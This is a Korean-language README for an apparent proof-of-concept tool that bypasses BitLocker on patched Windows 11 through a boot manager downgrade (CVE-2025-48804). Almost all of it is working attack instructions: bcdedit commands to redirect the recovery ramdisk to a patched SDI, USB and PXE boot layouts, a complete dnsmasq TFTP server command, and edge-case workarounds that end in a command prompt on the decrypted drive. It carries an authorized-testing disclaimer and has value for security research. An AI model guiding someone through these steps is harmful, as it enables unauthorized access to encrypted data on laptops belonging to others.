
CVE-2025-48804용 다운그레이드 공격
완전히 패치된 Windows 11 시스템에서 부팅 관리자 다운그레이드 공격을 통해 BitLocker로 암호화된 디스크에 5분 이내에 접근할 수 있는 개념 증명(PoC)입니다. 이는 원래 CVE-2025-48804로 문서화된 SDI 취약점을 활용합니다. 2025년 7월 패치는 bootmgfw.efi에서 이 문제를 수정하므로, 대상 시스템이 이 PCA를 신뢰하는 한 PCA 2011로 서명된 패치 이전의 bootmgfw.efi를 다운그레이드 공격에 사용할 수 있습니다.
이 PoC는 USB 부팅(더 간단하며 권장됨)과 PXE 부팅이라는 두 가지 전달 방법을 제공합니다. 그러나 이론적으로는 SDI 부팅 파일을 기본 암호화되지 않은 파티션(ESP 및 복구) 중 하나에 복사하고 USB나 PXE를 사용하지 않을 수도 있습니다. "엣지 케이스" 표를 참조하세요.
이 작업은 전적으로 Microsoft STORM(Netanel Ben Simon과 Alon Leviev)의 연구를 기반으로 합니다:
dnsmasq와 이더넷 케이블이 있는 Linux 머신USB/sdi/(USB 방식) 또는 TFTP-root/sdi/(PXE 방식)에 넣으세요.
대상 장치에서 WinRE 명령 프롬프트를 엽니다(다시 시작을 클릭할 때 Shift를 누른 상태에서 문제 해결 > 명령 프롬프트 선택 — BitLocker 복구 키를 요청하면 "이 디스크 무시"를 클릭하고, 잠긴 장치에서는 cmd 프롬프트를 실행할 수 없다는 메시지가 표시되면 "다시 실행"을 클릭하세요 — cmd 프롬프트가 열리지 않으면 가능하다면 자체 WinPE를 사용하세요). USB 스틱을 연결하고 다음을 실행합니다:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
출력에서 설명이 **"Windows 복구"**이고 ramdisksdidevice / ramdisksdipath 항목을 포함하는 장치 옵션 항목을 찾으세요. 해당 GUID를 기록한 후:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
방식에 따라 결과 BCD 파일을 적절한 위치에 배치합니다:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDUSB 스틱을 FAT32로 포맷하고 USB/ 디렉터리의 내용을 루트에 복사합니다(내용만 복사해야 하며 "USB" 폴더가 있으면 안 됩니다). USB 스틱은 다음과 같아야 합니다:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
USB 스틱을 대상 장치에 연결하고 UEFI USB 부팅을 트리거합니다 — WinRE에서(장치 사용) 또는 전원을 켤 때 제조사의 부팅 메뉴 키(F12, F9 등)를 눌러서 실행합니다. USB 스틱이 부팅 옵션 목록에 나타나지 않으면 UEFI 부팅 메뉴에서 "파일에서 부팅" 옵션을 찾은 다음 USB 스틱의 EFI/Boot/bootx64.efi로 이동합니다.
TFTP-root/ 디렉터리는 다음과 같이 구성됩니다:
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
대상 장치를 이더넷으로 Linux 머신에 연결하고 PXE 서버를 시작합니다:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
대상 장치에서 PXE 부팅을 트리거합니다 — WinRE에서 장치 사용 > IPv4 네트워크를 선택하거나 제조사의 PXE 부팅 키를 누릅니다.
부팅 관리자가 BCD를 로드한 다음 boot_patched.sdi 다운로드를 시작합니다. SDI 파일이 크므로(~300MB) USB에서는 잠시 걸리지만 TFTP를 통해서는 수 분이 걸립니다. 로드되는 동안 SDI 경로가 포함된 복구 관련 메시지가 대상 화면에 표시됩니다.
전송이 완료되면 OS 볼륨이 복호화되어 마운트된 상태로 명령 프롬프트가 나타납니다(일반적으로 C: 또는 E:). 자동으로 마운트되지 않았거나 드라이브 문자를 추측하고 싶지 않다면 diskpart -> sel vol X(암호화된 드라이브처럼 보이는 볼륨) -> assign letter=C(또는 다른 문자) -> exit를 실행하면 됩니다 -> 성공
scripts/에 두 개의 스크립트를 포함했습니다:
patch_sdi.py — boot.sdi 및 WinRE.wim 파일에서 수정된 SDI 파일을 빌드합니다parse_sdi.py — SDI 파일을 파싱하여 구조와 내용을 검증합니다Releases에서 제공되는 boot_patched.sdi 파일에는 실행 앱이 cmd.exe인 수정된 WinRE.wim이 포함되어 있습니다.
bootmgfw.efi와 함께 제공될 가능성이 높습니다. 확인하려면 EFI 파티션을 마운트하고 활성 바이너리를 검사하세요: mountvol S: /s 다음에 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi를 실행합니다. C:\Windows\Boot\EFI\bootmgfw.efi는 실제 부팅 시 사용되는 파일과 다를 수 있습니다 — 항상 EFI 파티션의 복사본을 확인하세요.Microsoft STORM(Netanel Ben Simon과 Alon Leviev) — 원본 BitUnlocker 연구 및 취약점 공개를 수행했습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 저장소와 그 모든 콘텐츠는 승인된 보안 테스트 및 연구 목적으로만 제공됩니다. 이 도구는 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 본 자료의 사용으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
| 상황 | 결과 |
|---|
| 알고 있는 PIN으로 구성된 BitLocker | 부팅 시 블루 스크린 — PIN을 맹목적으로 입력하고(이 저장소에 BitLocker 글꼴을 넣지 않은 점은 양해 부탁드립니다) Enter를 누릅니다 |
| 블루 스크린, PIN 없음 | 대상이 CA 2023으로 마이그레이션되었을 가능성이 높음 — Escape를 누르고 SDI 전송을 어쨌든 끝까지 진행하되, 마지막에는 BitLocker 암호화 드라이브가 잠겨 있을 가능성이 높습니다 |
| USB-C / Thunderbolt만 지원 | USB-C 드라이브 또는 USB-이더넷 어댑터 사용(PXE용) |
| TFTP 파일을 찾을 수 없음(무시해도 되는 불필요한 Font 파일 제외) | 파일 이름은 대소문자를 구분함 — 대상이 요청하는 이름과 일치하도록 bootmgfw.efi 이름을 변경하세요 |
| PXE 또는 USB 부팅이 허용되지 않음 | ESP 및 복구 파티션의 사용 가능한 크기를 확인하세요(diskpart -> list vol). 두 파티션 중 하나에 제공된 Boot.sdi 파일(약 300MB)을 넣을 충분한 공간이 있다면 그곳에 넣으세요. 그러면 익스플로잇이 약간 달라지지만(그래도 마찬가지로 빠릅니다) 대상 시스템의 BCD 파일을 직접 수정하여(백업을 만드세요) 암호화되지 않은 호스트 파티션을 가리키게 하고(ramdisksdidevice BCD 항목 특히), 대상의 bootmgfw.efi를 이 저장소의 TFTP 폴더에 제공된 파일로 교체해야 합니다. 이 경우 대상의 부팅 관리자가 PCA 2011로 서명되었는지 확인하세요(어차피 그런 경우 익스플로잇이 작동하지 않으니 항상 확인하세요). 그렇지 않으면 시스템이 BitLocker 복구 모드로 들어갑니다. 또한 이 저장소에서 제공한 Boot.sdi 파일을 넣을 공간이 충분하지 않다면 더 작은 버전을 직접 만들어 볼 수 있습니다. 확실히 그렇게 할 수 있는 방법이 몇 가지 있습니다(아래 "자체 SDI 파일 빌드" 섹션 참조) |